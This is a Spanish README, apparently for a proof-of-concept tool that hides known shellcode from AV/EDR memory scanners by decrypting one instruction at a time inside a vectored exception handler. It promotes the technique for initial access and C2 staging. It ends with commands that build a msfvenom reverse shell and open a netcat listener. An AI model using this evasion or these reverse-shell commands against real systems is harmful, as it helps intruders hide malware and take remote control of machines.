
Una técnica que se puede utilizar para evadir los escáneres de memoria de AV/EDR. Esto se puede utilizar para ocultar shellcodes conocidos y detectados (como msfvenom) realizando descifrado sobre la marcha de instrucciones de ensamblaje cifradas individuales, lo que hace que los escáneres de memoria sean inútiles para esa página de memoria específica.
Una técnica que se puede utilizar para evadir los escáneres de memoria de AV/EDR. Puede usarse para ocultar shellcodes conocidos y detectados (como msfvenom) realizando descifrado sobre la marcha de instrucciones individuales de ensamblador cifradas, haciendo así que los escáneres de memoria sean inútiles para esa página de memoria específica.
Esta técnica creará una región de memoria PAGE_EXECUTE_READWRITE donde se almacenarán las instrucciones de ensamblador cifradas. El shellcode estará envuelto con algo de padding. El programa establecerá un Hardware Breakpoint (HWBP) en el punto de entrada del shellcode.
A continuación, el programa instalará un Vectored Exception Handler (VEH). Este VEH básicamente actuará como un depurador, ejecutando paso a paso el código, leyendo el registro de puntero de instrucción (RIP) para cada excepción SINGLE STEP recibida por el VEH, y descifrando los siguientes 16 bytes (longitud máxima de una instrucción de ensamblador x64) a los que apunta RIP. El VEH también vuelve a cifrar la instrucción previamente descifrada, asegurando que el resto del shellcode permanezca siempre cifrado con la excepción de la instrucción de ensamblador individual que se está ejecutando actualmente. Después de eso, continuará la ejecución, con el TRAP FLAG configurado en el registro Eflags. Esto asegurará que la siguiente instrucción de ensamblador también dispare una excepción de breakpoint que el VEH pueda manejar.
Después de la instalación del VEH, la ejecución del hilo principal se redirigirá al punto de entrada del payload. Cuando el HWBP se dispare en el punto de entrada, el VEH se detendrá en cada instrucción de ensamblador ejecutada, realizará el descifrado de la siguiente instrucción de ensamblador y cifrará la instrucción previamente descifrada que se guarda como variable global.
Al hacer esto, básicamente una sola instrucción de ensamblador se descifra a la vez, permaneciendo el resto del payload cifrado.
NOTA: Esta técnica es ideal para obtener un acceso inicial usando un shellcode básico como msfvenom o shells inversas personalizadas. También puede usarse como payload inicial de etapa 1 que descarga el resto del payload desde el servidor C2.
NOTA: Esta técnica no es compatible con todos los payloads (como los reflective loaders). A continuación se muestra una lista de las limitaciones actuales:
VEH se disparará para CADA INSTRUCCIÓN DE ENSAMBLADOR ejecutada en el shellcode, la velocidad de ejecución del shellcode se reducirá drásticamente. Por cada instrucción de ensamblador que ejecute la CPU, el VEH ejecutará al menos 300 instrucciones ASM adicionales para realizar el descifrado, el cifrado y restaurar la ejecución al hilo principal. Si el shellcode está optimizado para un tamaño más pequeño en lugar del rendimiento (como msfvenom), la ejecución del payload será más lenta. Puede tardar más de 15 segundos (dependiendo de la CPU) en ejecutar un MSFVENOM. Esto sucede porque el shellcode específico usado por msfvenom sacrifica rendimiento para obtener un tamaño de payload más pequeño.NtCreateThread o a cualquiera de sus wrappers en Kernelbase.dll con el punto de entrada dentro del shellcode, el payload no funcionará ya que el VEH no se disparará para la ejecución de ese hilo porque no hay HWBP instalado en el punto de entrada del hilo recién creado. (Trabajo en curso: se implementará más adelante en este repositorio)valores/variables almacenados dentro de sí mismo (por ejemplo, tener la cadena sin procesar "powershell.exe" que se referencia mediante un offset en una llamada a WinExec WINAPI) o algún número guardado en un offset, y el shellcode luego intenta cargarlo o referenciarlo en algún lugar, el programa no funcionará porque la variable o cadena específica estará cifrada y el VEH no la descifra. Si el shellcode empuja dichos argumentos a la pila mediante instrucciones de ensamblador (push 0x4141414141414141 para poner "AAAAAAAA" en la pila para usarse en una llamada a una función), esta técnica funcionará. (Trabajo en curso: se implementará más adelante en este repositorio)Cómo reproducir el POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

Este repositorio es para fines académicos; el uso de este software es tu responsabilidad.